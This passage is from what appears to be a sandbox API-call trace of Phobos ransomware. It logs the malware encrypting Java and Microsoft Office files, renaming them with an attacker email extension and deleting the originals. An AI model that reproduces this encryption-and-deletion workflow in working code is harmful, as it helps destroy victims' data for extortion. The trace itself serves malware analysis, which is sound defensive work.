phKey=0x2e5fb60*=0x10cdf0) returned 1 [0051.050] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0051.050] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0051.050] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0051.050] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0051.050] CryptDestroyKey (hKey=0x10d170) returned 1 [0051.050] CloseHandle (hObject=0x31c) returned 1 [0051.050] CloseHandle (hObject=0x320) returned 1 [0051.052] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1 [0051.054] SetEvent (hEvent=0x2e8) returned 1 [0051.054] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0051.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0051.064] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=46) returned 1 [0051.064] CloseHandle (hObject=0x320) returned 1 [0051.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20 [0051.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0051.064] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0051.064] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0051.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.065] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cc70) returned 1 [0051.065] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0051.065] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x2e, lpOverlapped=0x0) returned 1 [0051.066] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x30, dwBufLen=0x30 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x30) returned 1 [0051.066] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x30, lpOverlapped=0x0) returned 1 [0051.068] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cb70) returned 1 [0051.068] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0051.068] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0051.068] CryptDestroyKey (hKey=0x10cb70) returned 1 [0051.068] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0051.068] CryptDestroyKey (hKey=0x10cc70) returned 1 [0051.068] CloseHandle (hObject=0x320) returned 1 [0051.068] CloseHandle (hObject=0x31c) returned 1 [0051.077] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 1 [0051.078] SetEvent (hEvent=0x2e8) returned 1 [0051.078] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0051.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.078] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=955) returned 1 [0051.078] CloseHandle (hObject=0x31c) returned 1 [0051.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0051.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.079] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0051.079] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0051.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0051.079] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cb70) returned 1 [0051.079] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0051.079] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x3bb, lpOverlapped=0x0) returned 1 [0051.080] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x3c0) returned 1 [0051.080] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x3c0, lpOverlapped=0x0) returned 1 [0051.081] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d170) returned 1 [0051.081] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0051.081] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0051.081] CryptDestroyKey (hKey=0x10d170) returned 1 [0051.081] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0051.081] CryptDestroyKey (hKey=0x10cb70) returned 1 [0051.081] CloseHandle (hObject=0x31c) returned 1 [0051.081] CloseHandle (hObject=0x320) returned 1 [0051.082] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1 [0051.083] SetEvent (hEvent=0x2e8) returned 1 [0051.083] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0051.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0051.083] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=5944055) returned 1 [0051.083] CloseHandle (hObject=0x320) returned 1 [0051.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20 [0051.084] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0051.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0051.084] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb18 | out: lpNewFilePointer=0x0) returned 1 [0051.084] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb18 | out: lpNewFilePointer=0x0) returned 1 [0051.084] ReadFile (in: hFile=0x320, lpBuffer=0x31c3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fb24, lpOverlapped=0x0 | out: lpBuffer=0x31c3058*, lpNumberOfBytesRead=0x2e5fb24*=0x40000, lpOverlapped=0x0) returned 1 [0051.089] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb18 | out: lpNewFilePointer=0x0) returned 1 [0051.089] ReadFile (in: hFile=0x320, lpBuffer=0x3203058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fb24, lpOverlapped=0x0 | out: lpBuffer=0x3203058*, lpNumberOfBytesRead=0x2e5fb24*=0x40000, lpOverlapped=0x0) returned 1 [0051.096] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb18 | out: lpNewFilePointer=0x0) returned 1 [0051.096] ReadFile (in: hFile=0x320, lpBuffer=0x3243058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fb24, lpOverlapped=0x0 | out: lpBuffer=0x3243058*, lpNumberOfBytesRead=0x2e5fb24*=0x40000, lpOverlapped=0x0) returned 1 [0051.101] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb74 | out: phKey=0x2e5fb74*=0x10ccf0) returned 1 [0051.101] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0051.101] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb28*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb28*=0xc0060) returned 1 [0051.104] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0051.104] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb50 | out: lpNewFilePointer=0x0) returned 1 [0051.104] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e5fb60, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb60*=0xc0112, lpOverlapped=0x0) returned 1 [0051.566] SetEndOfFile (hFile=0x320) returned 1 [0051.566] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb20 | out: lpNewFilePointer=0x0) returned 1 [0051.566] WriteFile (in: hFile=0x320, lpBuffer=0x328314a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fb2c, lpOverlapped=0x0 | out: lpBuffer=0x328314a*, lpNumberOfBytesWritten=0x2e5fb2c*=0x40000, lpOverlapped=0x0) returned 1 [0051.568] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb20 | out: lpNewFilePointer=0x0) returned 1 [0051.568] WriteFile (in: hFile=0x320, lpBuffer=0x328314a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fb2c, lpOverlapped=0x0 | out: lpBuffer=0x328314a*, lpNumberOfBytesWritten=0x2e5fb2c*=0x40000, lpOverlapped=0x0) returned 1 [0051.573] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb20 | out: lpNewFilePointer=0x0) returned 1 [0051.573] WriteFile (in: hFile=0x320, lpBuffer=0x328314a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fb2c, lpOverlapped=0x0 | out: lpBuffer=0x328314a*, lpNumberOfBytesWritten=0x2e5fb2c*=0x40000, lpOverlapped=0x0) returned 1 [0051.574] CloseHandle (hObject=0x320) returned 1 [0052.406] SetEvent (hEvent=0x2e8) returned 1 [0052.406] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0052.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0052.406] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1124942) returned 1 [0052.406] CloseHandle (hObject=0x320) returned 1 [0052.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0052.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0052.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0052.407] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0052.407] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0052.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0052.408] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cb70) returned 1 [0052.408] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0052.408] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x110100, lpOverlapped=0x0) returned 1 [0052.528] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x110100, dwBufLen=0x110100 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x110100) returned 1 [0052.529] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x110100, lpOverlapped=0x0) returned 1 [0052.550] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x294e, lpOverlapped=0x0) returned 1 [0052.550] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2950, dwBufLen=0x2950 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2950) returned 1 [0052.550] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x2950, lpOverlapped=0x0) returned 1 [0052.551] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d170) returned 1 [0052.551] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0052.551] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0052.551] CryptDestroyKey (hKey=0x10d170) returned 1 [0052.551] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0052.551] CryptDestroyKey (hKey=0x10cb70) returned 1 [0052.551] CloseHandle (hObject=0x320) returned 1 [0052.551] CloseHandle (hObject=0x318) returned 1 [0052.940] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1 [0052.942] SetEvent (hEvent=0x2e8) returned 1 [0052.943] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0052.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0052.943] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1261) returned 1 [0052.943] CloseHandle (hObject=0x318) returned 1 [0052.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0052.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0052.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0052.944] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0052.944] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0052.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.944] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d170) returned 1 [0052.944] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0052.944] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x4ed, lpOverlapped=0x0) returned 1 [0053.102] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0) returned 1 [0053.102] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x4f0, lpOverlapped=0x0) returned 1 [0053.103] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cc70) returned 1 [0053.103] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0053.103] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0053.103] CryptDestroyKey (hKey=0x10cc70) returned 1 [0053.103] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0053.103] CryptDestroyKey (hKey=0x10d170) returned 1 [0053.103] CloseHandle (hObject=0x318) 